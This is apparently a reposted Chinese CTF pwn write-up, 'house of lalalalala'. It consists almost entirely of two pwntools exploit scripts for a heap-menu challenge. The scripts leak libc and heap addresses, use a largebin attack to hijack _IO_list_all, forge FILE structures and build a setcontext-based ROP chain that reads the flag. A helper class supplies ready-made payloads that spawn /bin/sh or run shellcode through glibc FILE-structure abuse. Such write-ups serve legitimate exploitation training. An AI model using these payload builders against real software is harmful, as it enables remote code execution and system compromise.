           stdout_store_addr (int): The address stored in stdout. Probably is libc.sym['_IO_2_1_stdout_'].

           system_addr (int): System address.

           lock_addr (int): Lock address.


       Returns:

           bytes: payload.

       """

self.flags = 0x68732f6e69622f

self._IO_read_ptr = 0x61

self._IO_save_base = system_addr

self._lock = lock_addr

self.vtable = stdout_store_addr + 0x10

return self.__bytes__()

# only support amd64

def getshell_by_str_jumps_finish_when_exit(self, _IO_str_jumps_addr:int, system_addr:int, bin_sh_addr:int):

"""Execute system("/bin/sh") through fake IO_FILE struct, and the version of libc should be between 2.24 and 2.29.


       Usually, you have hijacked _IO_list_all, and will call _IO_flush_all_lockp by exit or other function.


       Args:

           _IO_str_jumps_addr (int): Addr of _IO_str_jumps

           system_addr (int): Addr of system

           bin_sh_addr (int): Addr of the string: /bin/sh


       Returns:

           bytes: payload

       """

assert context.bits == 64, "only support amd64!"

self.flags &= ~1

self._IO_read_ptr = 0x61

self.unknown2 = 0

self._IO_write_base = 0

self._IO_write_ptr = 0x1

self._IO_buf_base = bin_sh_addr

self.vtable = _IO_str_jumps_addr - 8

return self.__bytes__() + pack(0, 64) + pack(system_addr, 64)

def house_of_pig_exec_shellcode(self, fp_heap_addr:int, gadget_addr:int, str_jumps_addr:int,

setcontext_off_addr:int, mprotect_addr:int, shellcode: str or bytes, lock:int=0):

"""House of pig to exec shellcode with setcontext.


       You should fill tcache_perthread_struct[0x400] with '__free_hook - 0x1c0' addr.


       Args:

           fp_heap_addr (int): The heap addr that replace original _IO_list_all or chain

           gadget_addr (int): Gadget addr for 'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]'

           str_jumps_addr (int): Addr of _IO_str_jumps

           setcontext_off_addr (int): Addr of setcontext and add offset, which is often 61

           mprotect_addr (int): Addr of mprotect

           shellcode ([type]): The shellcode you wanner execute

           lock (int, optional): lock value if needed. Defaults to 0.


       Returns:

           bytes: payload

       """

assert context.bits == 64, "only support amd64!"

self.flags = 0xfbad2800

self._IO_write_base = 0

self._IO_write_ptr = 0xffffffffffffff

self.unknown2 = 0

self._lock = lock

self.vtable = str_jumps_addr

self._IO_buf_base = fp_heap_addr + 0x110

self._IO_buf_end = fp_heap_addr +0x110 + 0x1c8

payload = flat({

0:self.__bytes__(),

0x100:{

0x8: fp_heap_addr + 0x110,

0x20: setcontext_off_addr,

0xa0: fp_heap_addr + 0x210,

0xa8: mprotect_addr,

0x70: 0x2000,

0x68: (fp_heap_addr + 0x110)&~0xfff,

0x88: 7,

0x100: fp_heap_addr + 0x310,

0x1c0: gadget_addr,

0x200: shellcode

}

})

return payload

def payload_replace(payload: str or bytes, rpdict:dict=None, filler="x00"):

assert isinstance(payload, (str, bytes, int)), "wrong payload!"

assert context.bits in (32, 64), "wrong context.bits!"

assert len(filler) == 1, "wrong filler!"

output = list(payload) if isinstance(payload, bytes) else list(payload.encode())

if isinstance(filler, str):

filler = filler.encode()


for off, data in rpdict.items():

assert isinstance(off, int), "wrong off in rpdict!"

assert isinstance(data, (int, bytes, str)), "wrong data: {}!".format(data)


if isinstance(data, str):

data = data.encode()

elif isinstance(data, int):

data = pack(data, word_size=context.bits, endianness=context.endian)

distance = len(output) - len(data)

if off > distance:

output.extend([int.from_bytes(filler, "little")]*(off - distance))


for i, d in enumerate(data):

output[off+i] = d

return bytes(output)

#---------------------PWN SPACE----------------------

def menu(c):

sla('>> ', str(c))

def add(size):

menu(1)

if size>0x70 and size<0x14f:

t = 1

elif size>=0x14f and size<0x24f:

t = 2

else:

t = 3

sla('3. Gf3~', str(t))

chunk_type = {

1: 'input size of Gf1:',    #0x7f-0x14f

2: 'input size of Gf2:',    #0x14f-0x24f

3:'input size of Gf3:'  #0x24f-0x4ff

}

sla(chunk_type[t], str(size))


def delete(index):

menu(2)

sla('gift you want to give to someone:', str(index))

ru('send success!')


def show(index):

menu(3)

sla('input the idx of gift:', str(index))


def edit(index, content, t = 1):

menu(4)

sla('input the idx of gift:', str(index))

chunk_type = {

1:'leave your blessing of Gf1:n',

2:'leave your blessing of Gf2:n',

3:'leave your blessing of Gf3:n',

}

sa(chunk_type[t], content)


def bye():

menu(5)


add(0x418) #0

add(0x418) #1

add(0x428) #2

add(0x418) #3

add(0x418) #4

add(0x80)  #5

#--------------------leak libc heap-------------------------

delete(2)

show(2)

main_offset = 96 + 0x10 + libc.sym.__malloc_hook

main_arena  = uu64(ru(p8(0x7f))[-6:])

libc_base = main_arena - main_offset

add(0x450) #6

edit(2, 'a'*0x11, 3)

show(2)

ru('a'*0x10)

chunk2_addr = uu64(rcn(6)) - 0x61

heapbase = chunk2_addr - 0x12700

ss('heapbase', heapbase)

ss('chunk2', chunk2_addr)

#attach()

#gadgets


IO_helper_jumps = libc_base + 0x1e8960#libc.sym._IO_helper_jumps

IO_file_jumps = libc_base + 0x1e94a0# libc.sym._IO_file_jumps   #0x1f4560

IO_cookie_jumps = libc_base + 0x1e8a20

setcontext_addr = libc_base + libc.sym.setcontext   #0x50bfd # 0x50bc0

pointer_chk_guard_local = libc_base - 0x16b090#0x2890#0x234c10 + 0x2000

system_addr = libc_base + libc.sym.system

printf_arginfo_table = libc_base + 0x1ed7b0

printf_function_table =libc_base + 0x1f1318

IO_list_all = libc_base + 0x1ed5a0

stderr = libc_base + 0x1ed5c0

IO_wfile_jumps = libc_base + libc.sym._IO_wfile_jumps

IO_wstrn_jumps = libc_base + 0x1e8c60#libc.sym._IO_wstrn_jumps

IO_wfile_jumps_mmap = libc_base + 0x138ea0

IO_wstr_jumps = libc_base + 0x1e8d20#libc.sym_IO_wstr_jumps


ss('libc_base ', libc_base)

ss('IO_wfile_jumps', IO_wfile_jumps)

ss('IO_list_all', IO_list_all)


#chunks

chunk0 = 0x11ec0 + heapbase

chunk1 = 0x122e0 + heapbase

chunk2 = 0x12700 + heapbase

chunk3 = 0x12f50 + heapbase

chunk4 = 0x12f50 + heapbase

magic_chunk = heapbase + 0x11eb0

#largebin attack

delete(0)

edit(2, p64(main_arena)*2 + p64(chunk2) + p64(magic_chunk-0x20) ,3)

#attach()

add(0x450) #7

dbg('attack 1')


#hijack IO_list_all

add(0x418) #8

delete(4)

edit(2, p64(main_arena)*2 + p64(chunk2) + p64(IO_list_all-0x20),3)

dbg('attack 2')

add(0x450) #9


dbg('iolistall')


io_file = IO_FILE_plus_struct()

io_file.flags = 0

io_file._IO_read_ptr = 0

io_file._IO_read_end = 0x6a1

io_file._IO_read_base = 1

io_file.vtable = IO_wstr_jumps+0x28

io_file._lock = chunk4

io_file._IO_write_ptr = 1

io_file._IO_write_end = 2

io_file._IO_write_base = 0

io_file._mode = 1

io_file._wide_data = chunk4 + 0xe0


payload = flat({

0x0: bytes(io_file)[0x10:],

0xd0:{

0x0: [0,0, 0 ], #read_ptr read_end read_base

0x18: 0,

0x20: [1, 0],

0x30: [0,0], #wide_data->_IO_buf_base = 0 not exec free

0x40:0,

0xe0: chunk4 + 0x200,

},

0x1f0:{

0x18:libc_base + libc.sym.puts#system_addr

}

})

edit(4, payload, 3)

edit(3, flat({0x410: 0x800}),3) #io_file->flags=0x800


#attach()

bye()


#--------INTERACTIVE----------------------------

#get_flag()

p.interactive()


当然还可以用apple3:

#!/usr/bin/env python3

#coding:utf-8


from pwn import *

from LibcSearcher import *

#--------------------prepare------------------------

binary = './pwn'

libc_so = ""

host = "node4.buuoj.cn"

port = 10001


#---------------------------------------------------


elf = ELF(binary)

libc = ELF(libc_so) if libc_so else elf.libc

context(arch = elf.arch, os = 'linux')

if args.G:

context.log_level = 'debug'

p = remote(host, port) if args.R else process(binary)


def attach(msg=''):

context(log_level = 'debug', terminal=["tmux","splitw","-v"])

gdb.attach(p, gdbscript=f'{msg}')

dbg()

def ROL(data, key):

tmp = bin(data)[2:].rjust(64, '0')

return int(tmp[key:]+tmp[:key], 2)

#---------------------short command-------------------

dbg = lambda msg='debug': info(f'[*]{msg}') if args.R else input(f"pid: {pidof(p)[0]} =>{msg}")

checkstr = lambda data:data if isinstance(data, bytes) else data.encode()

sl = lambda data: p.sendline(checkstr(data))

sd = lambda data: p.send(checkstr(data))

sa = lambda delimit, data: p.sendafter(checkstr(delimit), checkstr(data))

sla = lambda delimit, data: p.sendlineafter(checkstr(delimit), checkstr(data))

ru = lambda delimit: p.recvuntil(checkstr(delimit))

rl = lambda : p.recvline()

rcn = lambda number=4096: p.recv(number)

ss = lambda delimit, data: success(f'{delimit}: {data:#x}')

uu64 = lambda data:u64(checkstr(data).ljust(8, p8(0)))

uu32 = lambda data:u32(checkstr(data).ljust(4, p8(0)))

str_bin_sh = next(libc.search(b'/bin/shx00'))

get_flag = lambda : sl(f"cat {'flag' if args.R else '/tmp/flag'}")

__all__ = [

"IO_FILE_plus_struct",

"payload_replace"

]


class IO_FILE_plus_struct(FileStructure):


def __init__(self, null=0):

FileStructure.__init__(self, null)

def __setattr__(self,item,value):

if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:

object.__setattr__(self,item,value)

else:

error("Unknown variable %r" % item)


def __getattr__(self,item):

if item in IO_FILE_plus_struct.__dict__ or item in FileStructure.__dict__ or item in self.vars_:

return object.__getattribute__(self,item)

error("Unknown variable %r" % item)

def __str__(self):

return str(self.__bytes__())[2:-1]


@property

def _mode(self):

off = 320

if context.bits == 64:

off = 112

return (self.unknown2 >> off) & 0xffffffff


@_mode.setter

def _mode(self, value:int):

assert value <= 0xffffffff and value >= 0, "value error: {}".format(hex(value))

off = 320

if context.bits == 64:

off = 112

self.unknown2 |= (value << off)

@staticmethod

def show_struct(arch="amd64"):

if arch not in ("amd64", "i386"):

error("arch error, noly i386 and amd64 supported!")

print("arch :", arch)

_IO_FILE_plus_struct_map = {

'i386':{

0x0:'_flags',

0x4:'_IO_read_ptr',

0x8:'_IO_read_end',

0xc:'_IO_read_base',

0x10:'_IO_write_base',

0x14:'_IO_write_ptr',

0x18:'_IO_write_end',

0x1c:'_IO_buf_base',

0x20:'_IO_buf_end',

0x24:'_IO_save_base',

0x28:'_IO_backup_base',

0x2c:'_IO_save_end',

0x30:'_markers',

0x34:'_chain',

0x38:'_fileno',

0x3c:'_flags2',

0x40:'_old_offset',

0x44:'_cur_column',

0x46:'_vtable_offset',

0x47:'_shortbuf',

0x48:'_lock',

0x4c:'_offset',

0x54:'_codecvt',

0x58:'_wide_data',

0x5c:'_freeres_list',

0x60:'_freeres_buf',

0x64:'__pad5',

0x68:'_mode',

0x6c:'_unused2',

0x94:'vtable'

},

'amd64':{

0x0:'_flags',

0x8:'_IO_read_ptr',

0x10:'_IO_read_end',

0x18:'_IO_read_base',

0x20:'_IO_write_base',

0x28:'_IO_write_ptr',

0x30:'_IO_write_end',

0x38:'_IO_buf_base',

0x40:'_IO_buf_end',

0x48:'_IO_save_base',

0x50:'_IO_backup_base',

0x58:'_IO_save_end',

0x60:'_markers',

0x68:'_chain',

0x70:'_fileno',

0x74:'_flags2',

0x78:'_old_offset',

0x80:'_cur_column',

0x82:'_vtable_offset',

0x83:'_shortbuf',

0x88:'_lock',

0x90:'_offset',

0x98:'_codecvt',

0xa0:'_wide_data',

0xa8:'_freeres_list',

0xb0:'_freeres_buf',

0xb8:'__pad5',

0xc0:'_mode',

0xc4:'_unused2',

0xd8:'vtable'

}

}

for k, v in _IO_FILE_plus_struct_map[arch].items():

print("  {} : {} ".format(hex(k), v))

def getshell_from_IO_puts_by_stdout_libc_2_23(self, stdout_store_addr:int, system_addr:int, lock_addr:int):

"""Exec shell by IO_puts by _IO_2_1_stdout_ in libc-2.23.so


       Args:

           stdout_store_addr (int): The address stored in stdout. Probably is libc.sym['_IO_2_1_stdout_'].

           system_addr (int): System address.

           lock_addr (int): Lock address.


       Returns:

           bytes: payload.

       """

self.flags = 0x68732f6e69622f

self._IO_read_ptr = 0x61

self._IO_save_base = system_addr

self._lock = lock_addr

self.vtable = stdout_store_addr + 0x10

return self.__bytes__()

# only support amd64

def getshell_by_str_jumps_finish_when_exit(self, _IO_str_jumps_addr:int, system_addr:int, bin_sh_addr:int):

"""Execute system("/bin/sh") through fake IO_FILE struct, and the version of libc should be between 2.24 and 2.29.


       Usually, you have hijacked _IO_list_all, and will call _IO_flush_all_lockp by exit or other function.


       Args:

           _IO_str_jumps_addr (int): Addr of _IO_str_jumps

           system_addr (int): Addr of system

           bin_sh_addr (int): Addr of the string: /bin/sh


       Returns:

           bytes: payload

       """

assert context.bits == 64, "only support amd64!"

self.flags &= ~1

self._IO_read_ptr = 0x61

self.unknown2 = 0

self._IO_write_base = 0

self._IO_write_ptr = 0x1

self._IO_buf_base = bin_sh_addr

self.vtable = _IO_str_jumps_addr - 8

return self.__bytes__() + pack(0, 64) + pack(system_addr, 64)

def house_of_pig_exec_shellcode(self, fp_heap_addr:int, gadget_addr:int, str_jumps_addr:int,

setcontext_off_addr:int, mprotect_addr:int, shellcode: str or bytes, lock:int=0):

"""House of pig to exec shellcode with setcontext.


       You should fill tcache_perthread_struct[0x400] with '__free_hook - 0x1c0' addr.


       Args:

           fp_heap_addr (int): The heap addr that replace original _IO_list_all or chain

           gadget_addr (int): Gadget addr for 'mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]'

           str_jumps_addr (int): Addr of _IO_str_jumps

           setcontext_off_addr (int): Addr of setcontext and add offset, which is often 61

           mprotect_addr (int): Addr of mprotect

           shellcode ([type]): The shellcode you wanner execute

           lock (int, optional): lock value if needed. Defaults to 0.


       Returns:

           bytes: payload

       """

assert context.bits == 64, "only support amd64!"

self.flags = 0xfbad2800

self._IO_write_base = 0

self._IO_write_ptr = 0xffffffffffffff

self.unknown2 = 0

self._lock = lock

self.vtable = str_jumps_addr

self._IO_buf_base = fp_heap_addr + 0x110

self._IO_buf_end = fp_heap_addr +0x110 + 0x1c8

payload = flat({

0:self.__bytes__(),

0x100:{

0x8: fp_heap_addr + 0x110,

0x20: setcontext_off_addr,

0xa0: fp_heap_addr + 0x210,

0xa8: mprotect_addr,

0x70: 0x2000,

0x68: (fp_heap_addr + 0x110)&~0xfff,

0x88: 7,

0x100: fp_heap_addr + 0x310,

0x1c0: gadget_addr,

0x200: shellcode

}

})

return payload

def payload_replace(payload: str or bytes, rpdict:dict=None, filler="x00"):

assert isinstance(payload, (str, bytes, int)), "wrong payload!"

assert context.bits in (32, 64), "wrong context.bits!"

assert len(filler) == 1, "wrong filler!"

output = list(payload) if isinstance(payload, bytes) else list(payload.encode())

if isinstance(filler, str):

filler = filler.encode()


for off, data in rpdict.items():

assert isinstance(off, int), "wrong off in rpdict!"

assert isinstance(data, (int, bytes, str)), "wrong data: {}!".format(data)


if isinstance(data, str):

data = data.encode()

elif isinstance(data, int):

data = pack(data, word_size=context.bits, endianness=context.endian)

distance = len(output) - len(data)

if off > distance:

output.extend([int.from_bytes(filler, "little")]*(off - distance))


for i, d in enumerate(data):

output[off+i] = d

return bytes(output)

#---------------------PWN SPACE----------------------

def menu(c):

sla('>> ', str(c))

def add(size):

menu(1)

if size>0x70 and size<0x14f:

t = 1

elif size>=0x14f and size<0x24f:

t = 2

else:

t = 3

sla('3. Gf3~', str(t))

chunk_type = {

1: 'input size of Gf1:',    #0x7f-0x14f

2: 'input size of Gf2:',    #0x14f-0x24f

3:'input size of Gf3:'  #0x24f-0x4ff

}

sla(chunk_type[t], str(size))


def delete(index):

menu(2)

sla('gift you want to give to someone:', str(index))

ru('send success!')


def show(index):

menu(3)

sla('input the idx of gift:', str(index))


def edit(index, content, t = 1):

menu(4)

sla('input the idx of gift:', str(index))

chunk_type = {

1:'leave your blessing of Gf1:n',

2:'leave your blessing of Gf2:n',

3:'leave your blessing of Gf3:n',

}

sa(chunk_type[t], content)


def bye():

menu(5)


attach()

add(0x418) #0

add(0x418) #1

add(0x428) #2

add(0x418) #3

add(0x418) #4

add(0x80)  #5

dbg()

#--------------------leak libc heap-------------------------

delete(2)

show(2)

main_offset = 96 + 0x10 + libc.sym.__malloc_hook

main_arena  = uu64(ru(p8(0x7f))[-6:])

libc_base = main_arena - main_offset

dbg()

add(0x450) #6

edit(2, 'a'*0x11, 3)

show(2)

ru('a'*0x10)

chunk2_addr = uu64(rcn(6)) - 0x61

heapbase = chunk2_addr - 0x12700

ss('heapbase', heapbase)

ss('chunk2', chunk2_addr)

dbg()

#gadgets


IO_helper_jumps = libc_base + 0x1e8960#libc.sym._IO_helper_jumps

IO_file_jumps = libc_base + 0x1e94a0# libc.sym._IO_file_jumps   #0x1f4560

IO_cookie_jumps = libc_base + 0x1e8a20

setcontext_addr = libc_base + libc.sym.setcontext   #0x50bfd # 0x50bc0

pointer_chk_guard_local = libc_base - 0x16b090#0x2890#0x234c10 + 0x2000

system_addr = libc_base + libc.sym.system


#husk

printf_arginfo_table = libc_base + 0x1ed7b0

printf_function_table =libc_base + 0x1f1318


IO_list_all = libc_base + 0x1ed5a0

stderr = libc_base + 0x1ed5c0

IO_wfile_jumps = libc_base + libc.sym._IO_wfile_jumps

IO_wstrn_jumps = libc_base + 0x1e8c60#libc.sym._IO_wstrn_jumps

IO_wfile_jumps_mmap = libc_base + 0x138ea0

IO_wstr_jumps = libc_base + 0x1e8d20#libc.sym_IO_wstr_jumps


ss('libc_base ', libc_base)

ss('IO_wfile_jumps', IO_wfile_jumps)

ss('IO_list_all', IO_list_all)

dbg()


#chunks

chunk0 = 0x11ec0 + heapbase

chunk1 = 0x122e0 + heapbase

chunk2 = 0x12700 + heapbase

chunk3 = 0x12f50 + heapbase

chunk4 = 0x12f50 + heapbase


magic_chunk = heapbase + 0x11eb0


#largebin attack

delete(0)

edit(2, p64(main_arena)*2 + p64(chunk2) + p64(magic_chunk-0x20) ,3)

#attach()

add(0x450) #7

dbg('attack 1')


#hijack IO_list_all

add(0x418) #8

delete(4)

edit(2, p64(main_arena)*2 + p64(chunk2) + p64(IO_list_all-0x20),3)

dbg('attack 2')

add(0x450) #9


dbg('iolistall')


io_file = IO_FILE_plus_struct()

io_file._IO_read_end = 0x6a1

io_file.vtable = IO_wfile_jumps+0x08

io_file._lock = chunk4

io_file._mode = 1

io_file._codecvt = chunk4 + 0x110

io_file._wide_data = chunk4 + 0xe0


#gadgets

pop_rdi_ret = libc_base + next(libc.search(asm('pop rdinret')))

pop_rsi_ret = libc_base + next(libc.search(asm('pop rsinret')))

pop_rdx_ret = libc_base + next(libc.search(asm('pop rdxnret')))

pop_rax_ret = libc_base + next(libc.search(asm('pop raxnret')))

syscall_ret = libc_base + next(libc.search(asm('syscallnret')))

gadgets = asm('mov rdx, qword ptr [rdi+8]nmov qword ptr [rsp],raxncall qword ptr [rdx+0x20]')

gadgets_addr = libc_base + next(libc.search(gadgets))


fake_frame_addr = chunk4 + 0x210

fake_frame = SigreturnFrame()

fake_frame.rdi = fake_frame_addr+0xf8  #指向flag字符串,作为sys_open参数

fake_frame.rsi = 0

fake_frame.rdx = 0x100

fake_frame.rsp = fake_frame_addr + 0xf8 + 0x10 #指向orw

fake_frame.rip = pop_rax_ret + 1  #赋值给rcx,#0x7f77aed21ce6 <setcontext+294>:     mov    rcx,QWORD PTR [rdx+0xa8]

setcontext = libc_base + libc.sym.setcontext

orw = [

pop_rax_ret, #sys_open('flag', 0)

2,

syscall_ret,

pop_rax_ret, #sys_read(3, buf, 0x100)

0,

pop_rdi_ret,

3,

pop_rsi_ret,

fake_frame_addr + 0x100,

syscall_ret,

pop_rax_ret, #sys_write(1, buf, 0x100)

1,

pop_rdi_ret,

1,

pop_rsi_ret,

fake_frame_addr + 0x100,

syscall_ret

]

payload = flat({

0x0: bytes(io_file)[0x10:],

0xd0:{                             #A

0x0: [0xffffffffffffffff, 0],  #rsi

0x18: [0,1],

},

0x100:{                           #B

0x0: chunk4+0x160,            #rdi->C

},

0x150: {                            #C

0x0:[0, chunk4 + 0x210],      #rdi+8 -> rdx

0x28: gadgets_addr,

},

0x200: {

0x0: [0,fake_frame_addr, b'a'*0x10],

0x20:[setcontext + 61, bytes(fake_frame).ljust(0xf8, b'x00')[0x28:],

b'flag'.ljust(0x10,b'x00'),

orw,

]


}


})

edit(4, payload, 3)

edit(3, flat({0x410: (~(4|0x10))&0xffffffffffffffff}),3) #io_file->flags=0x800

dbg()

#attach()

bye()


#--------INTERACTIVE----------------------------

#get_flag()

p.interactive()



原文始发于微信公众号(由由学习吧):house of lalalalala

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月30日21:28:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   house of lalalalalahttp://cn-sec.com/archives/1348111.html

发表评论

匿名网友 填写信息